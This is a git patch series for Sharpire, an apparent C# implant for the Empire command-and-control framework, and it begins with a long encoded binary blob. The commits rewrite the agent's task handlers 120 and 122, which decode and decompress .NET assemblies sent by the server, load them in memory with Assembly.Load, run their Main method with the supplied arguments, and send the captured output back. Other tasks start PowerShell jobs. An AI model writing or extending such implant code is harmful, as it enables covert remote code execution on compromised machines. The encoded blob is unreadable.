z4xxNRj3+%zQI-A{NCN=U+Y&qMEh(U~H)W9Cuz>{E)Cm$?)FMa)4ANjCMvTR2z9aLE zh~NAULRE%Xc%2Bmjz~nY!%{$Hhh)4C+VFZLCtjP2c!~L)!fdC85-|hJ=@j{s6IB^z zQ8gS?y&{3c4oCr&y)0Apl8q{ike!XzqeZF;o2rpSjA~Lv9|Nh%C<~_1fN8(P58EdN zRQ7@l(_R})zsU*HmLg1r4O1Nv<8#dTs>)c4sQ{RIPQr-okpe2)Ei<*t#?;oFOl>PN zRoF~TBw_}cOgX-uSCvT?T9bj+GZIZ~hZIoR(=uAyZD>7~6RpRKXcabEjYLd^K#RVv zRh4NLO--QbF$o~HO$w-Nt4z}t8%6a2c>|QCLvU_Bd?zW-ybWW7;{;@bIRlt){ z3yGM4W*=vplv0)REUXp*t2-r<*d02EuvJ|NvALbIs%)~Dx(ZB1C5+fIDWI~YGE)&7Q&>XoY@V=` zyx2SyaPxFM5o7t}H&`Iu2$0$(c34;nsH{x}Nwa~pKPO1|TA&D00fTfK5hL|;w_7OP z0hC%Lde|ZCtTyQ$3#5Ai(tL>>7L)=in`8KdSPAMbthJRU<*fMoR&ejgpBPX(Q@TPNMLEezBh`;C}8U zB1Wv?#U_WU^0GzK0nju;0*DQl0xBCO(=^mZ(~(>>Rbjh^Tj{6oe}IoYCF~#IW8;Qg zAK<&O??UkrDd0!sAUy`ssN#_Id>qE}agy{%uoI<#%7)0#$6(v@@eV=bbOy0kM-in0 zM(GVA#@^b#Y0>l+Xc{O1#0E$KmGzft^4Vy@)-Fz(u*FM}rUItvT_R>w=4E5vy^GBM z#8p+^vtWB4uvJQYu?i`mGF666vB8E7gPgEov%!_P!LLJ*;Gq-nD^*jqIFl5;n9ef>gjD z`G^?XByE2SrU8KIZHXWDmK30UtYnzpu)&1w51lY!8^j_^1q{<*B1Y=qhFB<_2$YUU z^svKHfcC7CQ95Wt30r15QNqT1MU)B{rJ;6|hFK^L2THF<^soa`fHtac@rsj%Nc))6r_Uumob zQvfhMC-KAfNCDcNN``5d4JK^o>}-{=t#h$eD&SUWA`v5AXt#95@E?gKX;UhTsL3Ge z83`h`LkiHQR5DT9ZA4)wa3@jN5xhuL0Tb0I5tUgYG0h^X2}C_6LBzI60os^KCTfd~ zC~P9{AgW3wEq_(~=$h6AgU7vgDXSn2UKLYHwxg=Q!*oDC(;>q2fvKU3e7{#Gu@m!| z4ilzU28QP|9px|`ozHZvFtsue$Y(mqVLCaV=`>+#<+UlF=~)ibS*9uN(r-Je<~dA* z`Ap9frdF{QEV2)Z#qoh%4hnXFtz?GiuX-Z`ei$+ zJ{G1{UOzES9ZxJ~{q2n=X8+M>I!rOIYd6LGZcbCo+SyGpdzaG`vody5%+BOA#i-kE uiqUsYQ;e(ZrWjx4G= Date: Sat, 21 Sep 2024 20:24:11 -0400 Subject: [PATCH 3/9] reverted program.cs removal --- Sharpire/Sharpire.csproj | 1 + 1 file changed, 1 insertion(+) diff --git a/Sharpire/Sharpire.csproj b/Sharpire/Sharpire.csproj index 9e882cd..355463c 100755 --- a/Sharpire/Sharpire.csproj +++ b/Sharpire/Sharpire.csproj @@ -71,6 +71,7 @@ + From 9f9b5fa36765aea39e4e7b2e48212a99c350f866 Mon Sep 17 00:00:00 2001 From: coin Date: Sat, 21 Sep 2024 20:50:23 -0400 Subject: [PATCH 4/9] fixed tasking 102 --- Sharpire/Empire.Agent.Coms.cs | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/Sharpire/Empire.Agent.Coms.cs b/Sharpire/Empire.Agent.Coms.cs index bdd6607..9597182 100755 --- a/Sharpire/Empire.Agent.Coms.cs +++ b/Sharpire/Empire.Agent.Coms.cs @@ -270,19 +270,18 @@ private byte[] ProcessTasking(PACKET packet) jobTracking.jobs[taskId.ToString()].Status = "completed"; return EncodePacket(packet.type, Agent.RunPowerShell(packet.data), packet.taskId); case 101: - case 102: jobTracking.jobs[taskId.ToString()].Status = "completed"; return Task101(packet); + case 102: + jobTracking.StartAgentJob(packet.data, packet.taskId); + jobTracking.jobs[taskId.ToString()].Status = "running"; + return EncodePacket(packet.type, "Job started: " + taskId.ToString(), packet.taskId); case 121: jobTracking.jobs[taskId.ToString()].Status = "completed"; return Task121(packet); case 122: jobTracking.jobs[taskId.ToString()].Status = "completed"; return Task122(packet); - case 123: - jobTracking.StartAgentJob(packet.data, packet.taskId); - jobTracking.jobs[taskId.ToString()].Status = "running"; - return EncodePacket(packet.type, "Job started: " + taskId.ToString(), packet.taskId); default: jobTracking.jobs[taskId.ToString()].Status = "error"; return EncodePacket(0, "Invalid type: " + packet.type, packet.taskId); From 475692d6464007e0451f12612105ca6c46c00ac4 Mon Sep 17 00:00:00 2001 From: Coin Date: Sat, 26 Oct 2024 17:05:37 -0400 Subject: [PATCH 5/9] updated task 120 and 122 --- .gitattributes | 0 .gitignore | 0 Example/Program.cs | 0 README.md | 0 Sharpire/Empire.Agent.Coms.cs | 281 +++++++++++++++++++++++++----- Sharpire/Invoke-BuildSharpire.ps1 | 0 6 files changed, 239 insertions(+), 42 deletions(-) mode change 100644 => 100755 .gitattributes mode change 100644 => 100755 .gitignore mode change 100644 => 100755 Example/Program.cs mode change 100644 => 100755 README.md mode change 100644 => 100755 Sharpire/Invoke-BuildSharpire.ps1 diff --git a/.gitattributes b/.gitattributes old mode 100644 new mode 100755 diff --git a/.gitignore b/.gitignore old mode 100644 new mode 100755 diff --git a/Example/Program.cs b/Example/Program.cs old mode 100644 new mode 100755 diff --git a/README.md b/README.md old mode 100644 new mode 100755 diff --git a/Sharpire/Empire.Agent.Coms.cs b/Sharpire/Empire.Agent.Coms.cs index 9597182..3ea6c6d 100755 --- a/Sharpire/Empire.Agent.Coms.cs +++ b/Sharpire/Empire.Agent.Coms.cs @@ -276,9 +276,9 @@ private byte[] ProcessTasking(PACKET packet) jobTracking.StartAgentJob(packet.data, packet.taskId); jobTracking.jobs[taskId.ToString()].Status = "running"; return EncodePacket(packet.type, "Job started: " + taskId.ToString(), packet.taskId); - case 121: + case 120: jobTracking.jobs[taskId.ToString()].Status = "completed"; - return Task121(packet); + return Task120(packet); case 122: jobTracking.jobs[taskId.ToString()].Status = "completed"; return Task122(packet); @@ -593,49 +593,107 @@ public Byte[] Task122(PACKET packet) const int Delay = 1; const int MAX_MESSAGE_SIZE = 1048576; string output = ""; + + // Split packet data string[] parts = packet.data.Split(','); if (parts.Length > 0) { - object[] parameters = null; - if (parts.Length > 1) { parameters = new object[parts.Length - 1]; } - for (int i = 1; i < parts.Length; i++) { parameters[i - 1] = parts[i]; } + // Assuming the Base64 encoded JSON is in parts[1] + string base64JsonString = parts[1]; + string jsonString = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(base64JsonString)); + + // Manually parse JSON into a dictionary + var parametersList = new List(); + + // Remove the braces and split by commas + jsonString = jsonString.Trim('{', '}'); + string[] keyValuePairs = jsonString.Split(','); + + foreach (string pair in keyValuePairs) + { + // Split each pair by colon to separate key and value + string[] keyValue = pair.Split(':'); + + // Trim quotes and whitespace from key and value + if (keyValue.Length == 2) + { + string value = keyValue[1].Trim().Trim('"'); + parametersList.Add(value); + } + } + + // Convert List to string[] + string[] parameters = parametersList.ToArray(); + byte[] compressedBytes = Convert.FromBase64String(parts[0]); byte[] decompressedBytes = Decompress(compressedBytes); Assembly agentTask = Assembly.Load(decompressedBytes); - PropertyInfo streamProp = agentTask.GetType("Task").GetProperty("OutputStream"); - string results = ""; - if (streamProp == null) - { - results = (string) agentTask.GetType("Task").GetMethod("Execute").Invoke(null, parameters); - Console.WriteLine(results); - return EncodePacket(packet.type, results, packet.taskId); - } - else + PropertyInfo streamProp = agentTask.GetType("Program").GetProperty("OutputStream"); + + // Create a background thread for the task + Thread taskThread = new Thread(() => { - Thread invokeThread = new Thread(() => results = (string) agentTask.GetType("Task").GetMethod("Execute").Invoke(null, parameters)); - using (AnonymousPipeServerStream pipeServer = new AnonymousPipeServerStream(PipeDirection.In, HandleInheritability.Inheritable)) + string results = ""; + + if (streamProp == null) { + StringWriter consoleOutput = new StringWriter(); + TextWriter originalConsoleOut = Console.Out; + + Console.SetOut(consoleOutput); + + agentTask.GetType("Program").GetMethod("Main").Invoke(null, new object[] { parameters }); + + Console.SetOut(originalConsoleOut); + } + else + { + // Execute with OutputStream using anonymous pipes + using (AnonymousPipeServerStream pipeServer = new AnonymousPipeServerStream(PipeDirection.In, HandleInheritability.Inheritable)) using (AnonymousPipeClientStream pipeClient = new AnonymousPipeClientStream(PipeDirection.Out, pipeServer.GetClientHandleAsString())) { streamProp.SetValue(null, pipeClient, null); - DateTime lastTime = DateTime.Now; + Thread invokeThread = new Thread(() => + { + // Create a StringWriter to capture console output + StringWriter consoleOutput = new StringWriter(); + TextWriter originalConsoleOut = Console.Out; // Save the original Console.Out + + try + { + Console.SetOut(consoleOutput); // Redirect Console.Out to StringWriter + + agentTask.GetType("Program").GetMethod("Main").Invoke(null, new object[] { parameters }); + + } + finally + { + // Restore the original Console.Out + Console.SetOut(originalConsoleOut); + } + }); + invokeThread.Start(); + using (StreamReader reader = new StreamReader(pipeServer)) { object synclock = new object(); string currentRead = ""; - Thread readThread = new Thread(() => { + + Thread readThread = new Thread(() => + { int count; - char[] read = new char[MAX_MESSAGE_SIZE]; - while ((count = reader.Read(read, 0, read.Length)) > 0) + char[] readBuffer = new char[MAX_MESSAGE_SIZE]; + while ((count = reader.Read(readBuffer, 0, readBuffer.Length)) > 0) { lock (synclock) { - currentRead += new string(read, 0, count); + currentRead += new string(readBuffer, 0, count); } } }); readThread.Start(); + while (readThread.IsAlive) { Thread.Sleep(Delay * 1000); @@ -647,19 +705,9 @@ public Byte[] Task122(PACKET packet) { for (int i = 0; i < currentRead.Length; i += MAX_MESSAGE_SIZE) { - string aRead = currentRead.Substring(i, Math.Min(MAX_MESSAGE_SIZE, currentRead.Length - i)); - try - { - // need to update this later. Was using a covenant specific class. Need to reimplement in Empire - } - catch (Exception) {} + string chunk = currentRead.Substring(i, Math.Min(MAX_MESSAGE_SIZE, currentRead.Length - i)); } currentRead = ""; - lastTime = DateTime.Now; - } - else if (currentRead.Length > 0 && DateTime.Now > (lastTime.Add(TimeSpan.FromSeconds(Delay)))) - { - // need to update this later. Was using a covenant specific class. Need to reimplement in Empire } } catch (ThreadAbortException) { break; } @@ -668,14 +716,22 @@ public Byte[] Task122(PACKET packet) } output += currentRead; } + invokeThread.Join(); } } - invokeThread.Join(); - } - output += results; - return EncodePacket(packet.type, output, packet.taskId); + + output += results; + }); + + // Start the task thread + taskThread.IsBackground = true; + taskThread.Start(); + + // Return an initial confirmation packet as the task runs in the background + return EncodePacket(packet.type, "Job started in background", packet.taskId); } - return EncodePacket(packet.type,"invalid packet",packet.taskId); + + return EncodePacket(packet.type, "Invalid packet", packet.taskId); } //////////////////////////////////////////////////////////////////////////////// @@ -713,13 +769,154 @@ public byte[] Task101(PACKET packet) //////////////////////////////////////////////////////////////////////////////// // Run an Agent Job //////////////////////////////////////////////////////////////////////////////// - public byte[] Task121(PACKET packet) + public Byte[] Task120(PACKET packet) { - byte[] scriptBytes = EmpireStager.aesDecrypt(sessionInfo.GetSessionKey(), jobTracking.ImportedScript); - string script = Encoding.UTF8.GetString(scriptBytes); - jobTracking.StartAgentJob(script + ";" + packet.data, packet.taskId); - return EncodePacket(packet.type, "Job started: " + packet.taskId, packet.taskId); + const int Delay = 1; + const int MAX_MESSAGE_SIZE = 1048576; + string output = ""; + string[] parts = packet.data.Split(','); + + if (parts.Length > 0) + { + // Assuming the Base64 encoded JSON is in parts[1] + string base64JsonString = parts[1]; + string jsonString = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(base64JsonString)); + + // Manually parse JSON into a dictionary + var parametersList = new List(); + + // Remove the braces and split by commas + jsonString = jsonString.Trim('{', '}'); + string[] keyValuePairs = jsonString.Split(','); + + foreach (string pair in keyValuePairs) + { + // Split each pair by colon to separate key and value + string[] keyValue = pair.Split(':'); + + // Trim quotes and whitespace from key and value + if (keyValue.Length == 2) + { + string value = keyValue[1].Trim().Trim('"'); + parametersList.Add(value); + } + } + + // Convert List to string[] + string[] parameters = parametersList.ToArray(); + + byte[] compressedBytes = Convert.FromBase64String(parts[0]); + byte[] decompressedBytes = Decompress(compressedBytes); + Assembly agentTask = Assembly.Load(decompressedBytes); + PropertyInfo streamProp = agentTask.GetType("Program").GetProperty("OutputStream"); + string results = ""; + + // Case when OutputStream is not available + if (streamProp == null) + { + StringWriter consoleOutput = new StringWriter(); + TextWriter originalConsoleOut = Console.Out; + + Console.SetOut(consoleOutput); + + results = (string)agentTask.GetType("Program").GetMethod("Main").Invoke(null, new object[] { parameters }); + Console.WriteLine(results); + + results = consoleOutput.ToString(); + Console.SetOut(originalConsoleOut); + return EncodePacket(packet.type, results, packet.taskId); + } + else + { + // Case when OutputStream is available + using (AnonymousPipeServerStream pipeServer = new AnonymousPipeServerStream(PipeDirection.In, HandleInheritability.Inheritable)) + using (AnonymousPipeClientStream pipeClient = new AnonymousPipeClientStream(PipeDirection.Out, pipeServer.GetClientHandleAsString())) + { + // Set the OutputStream to the pipe client + streamProp.SetValue(null, pipeClient, null); + + // Start the main method execution in a new thread to avoid blocking + Thread invokeThread = new Thread(() => + { + // Create a StringWriter to capture console output + StringWriter consoleOutput = new StringWriter(); + TextWriter originalConsoleOut = Console.Out; // Save the original Console.Out + + try + { + Console.SetOut(consoleOutput); // Redirect Console.Out to StringWriter + + // Invoke the Main method and capture any console output + agentTask.GetType("Program").GetMethod("Main").Invoke(null, new object[] { parameters }); + + // Retrieve the captured output after invocation + results = consoleOutput.ToString(); + } + finally + { + // Restore the original Console.Out + Console.SetOut(originalConsoleOut); + } + }); + invokeThread.Start(); + + using (StreamReader reader = new StreamReader(pipeServer)) + { + object synclock = new object(); + string currentRead = ""; + + Thread readThread = new Thread(() => + { + int count; + char[] readBuffer = new char[MAX_MESSAGE_SIZE]; + while ((count = reader.Read(readBuffer, 0, readBuffer.Length)) > 0) + { + lock (synclock) + { + currentRead += new string(readBuffer, 0, count); + } + } + }); + readThread.Start(); + + while (readThread.IsAlive) + { + Thread.Sleep(Delay * 1000); + lock (synclock) + { + try + { + if (currentRead.Length >= MAX_MESSAGE_SIZE) + { + for (int i = 0; i < currentRead.Length; i += MAX_MESSAGE_SIZE) + { + string chunk = currentRead.Substring(i, Math.Min(MAX_MESSAGE_SIZE, currentRead.Length - i)); + // Process the chunk (send it as a packet, log it, etc.) + } + currentRead = ""; + } + else if (currentRead.Length > 0 && DateTime.Now > (DateTime.Now.Add(TimeSpan.FromSeconds(Delay)))) + { + // Process remaining output if delay time has passed + } + } + catch (ThreadAbortException) { break; } + catch (Exception) { currentRead = ""; } + } + } + output += currentRead; + } + invokeThread.Join(); // Wait for the invocation thread to finish + } + } + + output += results; + return EncodePacket(packet.type, output, packet.taskId); + } + + return EncodePacket(packet.type, "invalid packet", packet.taskId); } + //Decompress function may want to move this somewhere else at some point //taken from Covenant https://github.com/cobbr/Covenant/tree/master/Covenant public static byte[] Decompress(byte[] compressed) diff --git a/Sharpire/Invoke-BuildSharpire.ps1 b/Sharpire/Invoke-BuildSharpire.ps1 old mode 100644 new mode 100755 From 74186f36965414466bd61aa594ed97ae48408e13 Mon Sep 17 00:00:00 2001 From: coin Date: Mon, 28 Oct 2024 19:13:42 -0400 Subject: [PATCH 6/9] task122 and 120 giving results --- Sharpire/Empire.Agent.Coms.cs | 267 +++++++++------------------------- 1 file changed, 70 insertions(+), 197 deletions(-) diff --git a/Sharpire/Empire.Agent.Coms.cs b/Sharpire/Empire.Agent.Coms.cs index 3ea6c6d..7a78a9d 100755 --- a/Sharpire/Empire.Agent.Coms.cs +++ b/Sharpire/Empire.Agent.Coms.cs @@ -585,14 +585,12 @@ public Byte[] Task43(PACKET packet) //////////////////////////////////////////////////////////////////////////////// // Excute assembly tasking //////////////////////////////////////////////////////////////////////////////// - - //Since Empire is using the COvenant tasks this is just taken from the Covenant Grunt - // https://github.com/cobbr/Covenant/blob/master/Covenant/Data/Grunt/GruntHTTP/GruntHTTP.cs#L236 public Byte[] Task122(PACKET packet) { const int Delay = 1; const int MAX_MESSAGE_SIZE = 1048576; string output = ""; + object synclock = new object(); // Define synclock for thread synchronization // Split packet data string[] parts = packet.data.Split(','); @@ -602,19 +600,14 @@ public Byte[] Task122(PACKET packet) string base64JsonString = parts[1]; string jsonString = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(base64JsonString)); - // Manually parse JSON into a dictionary + // Manually parse JSON into a list of parameters var parametersList = new List(); - - // Remove the braces and split by commas jsonString = jsonString.Trim('{', '}'); string[] keyValuePairs = jsonString.Split(','); foreach (string pair in keyValuePairs) { - // Split each pair by colon to separate key and value string[] keyValue = pair.Split(':'); - - // Trim quotes and whitespace from key and value if (keyValue.Length == 2) { string value = keyValue[1].Trim().Trim('"'); @@ -622,118 +615,56 @@ public Byte[] Task122(PACKET packet) } } - // Convert List to string[] string[] parameters = parametersList.ToArray(); + // Decompress and load the assembly byte[] compressedBytes = Convert.FromBase64String(parts[0]); byte[] decompressedBytes = Decompress(compressedBytes); Assembly agentTask = Assembly.Load(decompressedBytes); - PropertyInfo streamProp = agentTask.GetType("Program").GetProperty("OutputStream"); - // Create a background thread for the task + // If OutputStream is not available, use Console.SetOut only Thread taskThread = new Thread(() => { - string results = ""; - - if (streamProp == null) + using (StringWriter consoleOutput = new StringWriter()) { - StringWriter consoleOutput = new StringWriter(); TextWriter originalConsoleOut = Console.Out; - - Console.SetOut(consoleOutput); - - agentTask.GetType("Program").GetMethod("Main").Invoke(null, new object[] { parameters }); - - Console.SetOut(originalConsoleOut); - } - else - { - // Execute with OutputStream using anonymous pipes - using (AnonymousPipeServerStream pipeServer = new AnonymousPipeServerStream(PipeDirection.In, HandleInheritability.Inheritable)) - using (AnonymousPipeClientStream pipeClient = new AnonymousPipeClientStream(PipeDirection.Out, pipeServer.GetClientHandleAsString())) + try { - streamProp.SetValue(null, pipeClient, null); - Thread invokeThread = new Thread(() => - { - // Create a StringWriter to capture console output - StringWriter consoleOutput = new StringWriter(); - TextWriter originalConsoleOut = Console.Out; // Save the original Console.Out - - try - { - Console.SetOut(consoleOutput); // Redirect Console.Out to StringWriter - - agentTask.GetType("Program").GetMethod("Main").Invoke(null, new object[] { parameters }); - - } - finally - { - // Restore the original Console.Out - Console.SetOut(originalConsoleOut); - } - }); - - invokeThread.Start(); - - using (StreamReader reader = new StreamReader(pipeServer)) + Console.SetOut(consoleOutput); // Redirect Console.Out to StringWriter + agentTask.GetType("Program").GetMethod("Main")?.Invoke(null, new object[] { parameters }); + } + catch (Exception ex) + { + lock (synclock) { - object synclock = new object(); - string currentRead = ""; - - Thread readThread = new Thread(() => - { - int count; - char[] readBuffer = new char[MAX_MESSAGE_SIZE]; - while ((count = reader.Read(readBuffer, 0, readBuffer.Length)) > 0) - { - lock (synclock) - { - currentRead += new string(readBuffer, 0, count); - } - } - }); - readThread.Start(); - - while (readThread.IsAlive) - { - Thread.Sleep(Delay * 1000); - lock (synclock) - { - try - { - if (currentRead.Length >= MAX_MESSAGE_SIZE) - { - for (int i = 0; i < currentRead.Length; i += MAX_MESSAGE_SIZE) - { - string chunk = currentRead.Substring(i, Math.Min(MAX_MESSAGE_SIZE, currentRead.Length - i)); - } - currentRead = ""; - } - } - catch (ThreadAbortException) { break; } - catch (Exception) { currentRead = ""; } - } - } - output += currentRead; + output += $"[ERROR] {ex.Message}"; } - invokeThread.Join(); } - } + finally + { + Console.SetOut(originalConsoleOut); // Restore original Console.Out + } - output += results; + lock (synclock) // Safely add console output + { + output += consoleOutput.ToString(); + } + } }); // Start the task thread taskThread.IsBackground = true; taskThread.Start(); + taskThread.Join(); // Wait for task to complete - // Return an initial confirmation packet as the task runs in the background - return EncodePacket(packet.type, "Job started in background", packet.taskId); + // Return the final output to the agent once the task completes + return EncodePacket(packet.type, output, packet.taskId); } return EncodePacket(packet.type, "Invalid packet", packet.taskId); } + //////////////////////////////////////////////////////////////////////////////// // Kill Job //////////////////////////////////////////////////////////////////////////////// @@ -771,30 +702,26 @@ public byte[] Task101(PACKET packet) //////////////////////////////////////////////////////////////////////////////// public Byte[] Task120(PACKET packet) { - const int Delay = 1; const int MAX_MESSAGE_SIZE = 1048576; string output = ""; - string[] parts = packet.data.Split(','); + object synclock = new object(); // Define synclock for synchronization + // Split packet data + string[] parts = packet.data.Split(','); if (parts.Length > 0) { // Assuming the Base64 encoded JSON is in parts[1] string base64JsonString = parts[1]; string jsonString = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(base64JsonString)); - // Manually parse JSON into a dictionary + // Manually parse JSON to extract all values as a generic string array var parametersList = new List(); - - // Remove the braces and split by commas - jsonString = jsonString.Trim('{', '}'); + jsonString = jsonString.Trim('{', '}'); // Remove braces string[] keyValuePairs = jsonString.Split(','); foreach (string pair in keyValuePairs) { - // Split each pair by colon to separate key and value string[] keyValue = pair.Split(':'); - - // Trim quotes and whitespace from key and value if (keyValue.Length == 2) { string value = keyValue[1].Trim().Trim('"'); @@ -802,119 +729,65 @@ public Byte[] Task120(PACKET packet) } } - // Convert List to string[] string[] parameters = parametersList.ToArray(); + // Log parameter information for debugging + lock (synclock) + { + output += $"[DEBUG] Parameters Count: {parameters.Length}\n"; + output += $"[DEBUG] Parameters: {string.Join(", ", parameters)}\n"; + } + + // Decompress and load the assembly byte[] compressedBytes = Convert.FromBase64String(parts[0]); byte[] decompressedBytes = Decompress(compressedBytes); Assembly agentTask = Assembly.Load(decompressedBytes); - PropertyInfo streamProp = agentTask.GetType("Program").GetProperty("OutputStream"); - string results = ""; - - // Case when OutputStream is not available - if (streamProp == null) - { - StringWriter consoleOutput = new StringWriter(); - TextWriter originalConsoleOut = Console.Out; - - Console.SetOut(consoleOutput); - - results = (string)agentTask.GetType("Program").GetMethod("Main").Invoke(null, new object[] { parameters }); - Console.WriteLine(results); - results = consoleOutput.ToString(); - Console.SetOut(originalConsoleOut); - return EncodePacket(packet.type, results, packet.taskId); - } - else + // Execute assembly and capture output synchronously + using (StringWriter consoleOutput = new StringWriter()) { - // Case when OutputStream is available - using (AnonymousPipeServerStream pipeServer = new AnonymousPipeServerStream(PipeDirection.In, HandleInheritability.Inheritable)) - using (AnonymousPipeClientStream pipeClient = new AnonymousPipeClientStream(PipeDirection.Out, pipeServer.GetClientHandleAsString())) + TextWriter originalConsoleOut = Console.Out; + try { - // Set the OutputStream to the pipe client - streamProp.SetValue(null, pipeClient, null); + Console.SetOut(consoleOutput); // Redirect Console.Out to capture output - // Start the main method execution in a new thread to avoid blocking - Thread invokeThread = new Thread(() => + // Verify parameters and invoke Main method + MethodInfo mainMethod = agentTask.GetType("Program").GetMethod("Main"); + if (mainMethod != null) { - // Create a StringWriter to capture console output - StringWriter consoleOutput = new StringWriter(); - TextWriter originalConsoleOut = Console.Out; // Save the original Console.Out - - try - { - Console.SetOut(consoleOutput); // Redirect Console.Out to StringWriter - - // Invoke the Main method and capture any console output - agentTask.GetType("Program").GetMethod("Main").Invoke(null, new object[] { parameters }); - - // Retrieve the captured output after invocation - results = consoleOutput.ToString(); - } - finally - { - // Restore the original Console.Out - Console.SetOut(originalConsoleOut); - } - }); - invokeThread.Start(); - - using (StreamReader reader = new StreamReader(pipeServer)) + mainMethod.Invoke(null, new object[] { parameters }); + } + else { - object synclock = new object(); - string currentRead = ""; - - Thread readThread = new Thread(() => - { - int count; - char[] readBuffer = new char[MAX_MESSAGE_SIZE]; - while ((count = reader.Read(readBuffer, 0, readBuffer.Length)) > 0) - { - lock (synclock) - { - currentRead += new string(readBuffer, 0, count); - } - } - }); - readThread.Start(); - - while (readThread.IsAlive) + lock (synclock) { - Thread.Sleep(Delay * 1000); - lock (synclock) - { - try - { - if (currentRead.Length >= MAX_MESSAGE_SIZE) - { - for (int i = 0; i < currentRead.Length; i += MAX_MESSAGE_SIZE) - { - string chunk = currentRead.Substring(i, Math.Min(MAX_MESSAGE_SIZE, currentRead.Length - i)); - // Process the chunk (send it as a packet, log it, etc.) - } - currentRead = ""; - } - else if (currentRead.Length > 0 && DateTime.Now > (DateTime.Now.Add(TimeSpan.FromSeconds(Delay)))) - { - // Process remaining output if delay time has passed - } - } - catch (ThreadAbortException) { break; } - catch (Exception) { currentRead = ""; } - } + output += "[ERROR] Main method not found in Program class."; } - output += currentRead; } - invokeThread.Join(); // Wait for the invocation thread to finish + } + catch (TargetInvocationException ex) + { + lock (synclock) + { + output += $"[ERROR] {ex.InnerException?.Message ?? ex.Message}\n{ex.InnerException?.StackTrace ?? ex.StackTrace}"; + } + } + finally + { + Console.SetOut(originalConsoleOut); // Restore original Console.Out + } + + lock (synclock) // Safely add console output + { + output += consoleOutput.ToString(); } } - output += results; + // Return the captured output to the agent return EncodePacket(packet.type, output, packet.taskId); } - return EncodePacket(packet.type, "invalid packet", packet.taskId); + return EncodePacket(packet.type, "Invalid packet", packet.taskId); } //Decompress function may want to move this somewhere else at some point From 37961d5f4e88af5b722209da2413e8731dfbbf74 Mon Sep 17 00:00:00 2001 From: coin Date: Mon, 28 Oct 2024 19:19:11 -0400 Subject: [PATCH 7/9] fixed task122 error when no outputstream found --- Sharpire/Empire.Agent.Coms.cs | 64 +++++++++++++++++++++++++++-------- 1 file changed, 49 insertions(+), 15 deletions(-) diff --git a/Sharpire/Empire.Agent.Coms.cs b/Sharpire/Empire.Agent.Coms.cs index 7a78a9d..b1b9c88 100755 --- a/Sharpire/Empire.Agent.Coms.cs +++ b/Sharpire/Empire.Agent.Coms.cs @@ -600,17 +600,17 @@ public Byte[] Task122(PACKET packet) string base64JsonString = parts[1]; string jsonString = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(base64JsonString)); - // Manually parse JSON into a list of parameters + // Manually parse JSON to extract all values as a generic string array var parametersList = new List(); - jsonString = jsonString.Trim('{', '}'); + jsonString = jsonString.Trim('{', '}'); // Remove braces if present string[] keyValuePairs = jsonString.Split(','); foreach (string pair in keyValuePairs) { - string[] keyValue = pair.Split(':'); + string[] keyValue = pair.Split(new[] { ':' }, 2); // Split only on the first colon if (keyValue.Length == 2) { - string value = keyValue[1].Trim().Trim('"'); + string value = keyValue[1].Trim().Trim('"'); // Remove extra spaces and quotes parametersList.Add(value); } } @@ -622,7 +622,7 @@ public Byte[] Task122(PACKET packet) byte[] decompressedBytes = Decompress(compressedBytes); Assembly agentTask = Assembly.Load(decompressedBytes); - // If OutputStream is not available, use Console.SetOut only + // Create a background thread for the task Thread taskThread = new Thread(() => { using (StringWriter consoleOutput = new StringWriter()) @@ -630,14 +630,37 @@ public Byte[] Task122(PACKET packet) TextWriter originalConsoleOut = Console.Out; try { - Console.SetOut(consoleOutput); // Redirect Console.Out to StringWriter - agentTask.GetType("Program").GetMethod("Main")?.Invoke(null, new object[] { parameters }); + Console.SetOut(consoleOutput); // Redirect Console.Out to capture output + + // Verify parameters and invoke Main method + MethodInfo mainMethod = agentTask.GetType("Program").GetMethod("Main"); + if (mainMethod != null) + { + mainMethod.Invoke(null, new object[] { parameters }); + } + else + { + lock (synclock) + { + output += "[ERROR] Main method not found in Program class.\n"; + } + } + } + catch (TargetInvocationException ex) + { + // Capture and log the inner exception details + lock (synclock) + { + output += $"[ERROR] {ex.InnerException?.Message ?? ex.Message}\n"; + output += $"{ex.InnerException?.StackTrace ?? ex.StackTrace}\n"; + } } catch (Exception ex) { + // General exception logging lock (synclock) { - output += $"[ERROR] {ex.Message}"; + output += $"[ERROR] {ex.Message}\n{ex.StackTrace}\n"; } } finally @@ -714,28 +737,39 @@ public Byte[] Task120(PACKET packet) string base64JsonString = parts[1]; string jsonString = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(base64JsonString)); + // Log the raw JSON string for debugging + lock (synclock) + { + output += $"[DEBUG] Raw JSON String: {jsonString}\n"; + } + // Manually parse JSON to extract all values as a generic string array var parametersList = new List(); - jsonString = jsonString.Trim('{', '}'); // Remove braces + jsonString = jsonString.Trim('{', '}'); // Remove braces if present string[] keyValuePairs = jsonString.Split(','); foreach (string pair in keyValuePairs) { - string[] keyValue = pair.Split(':'); + string[] keyValue = pair.Split(new[] { ':' }, 2); // Split only on the first colon if (keyValue.Length == 2) { - string value = keyValue[1].Trim().Trim('"'); + string value = keyValue[1].Trim().Trim('"'); // Remove extra spaces and quotes parametersList.Add(value); } } + // Convert list to array and log the parsed values string[] parameters = parametersList.ToArray(); - - // Log parameter information for debugging lock (synclock) { - output += $"[DEBUG] Parameters Count: {parameters.Length}\n"; - output += $"[DEBUG] Parameters: {string.Join(", ", parameters)}\n"; + output += $"[DEBUG] Parameters Count After Parsing: {parameters.Length}\n"; + output += $"[DEBUG] Parameters After Parsing: {string.Join(", ", parameters)}\n"; + } + + if (parameters.Length == 0) + { + output += "[ERROR] No values extracted from JSON input."; + return EncodePacket(packet.type, output, packet.taskId); } // Decompress and load the assembly From 5d4a924ff6e6213672eb6a7768f65ac780780836 Mon Sep 17 00:00:00 2001 From: coin Date: Thu, 31 Oct 2024 08:38:19 -0400 Subject: [PATCH 8/9] removed error for empty parameters for c# tasks --- .gitignore | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/.gitignore b/.gitignore index 74fa741..cb68dd2 100755 --- a/.gitignore +++ b/.gitignore @@ -345,4 +345,5 @@ MigrationBackup/ # Ignore bin and obj directories **/bin/ -**/obj/ \ No newline at end of file +**/obj/ +/Sharpire/.idea/.idea.Sharpire/.idea From cea6e886c588bfb3c1ab9f5199b4dff569d0125d Mon Sep 17 00:00:00 2001 From: coin Date: Thu, 31 Oct 2024 17:00:47 -0400 Subject: [PATCH 9/9] recommit empty task args fixes 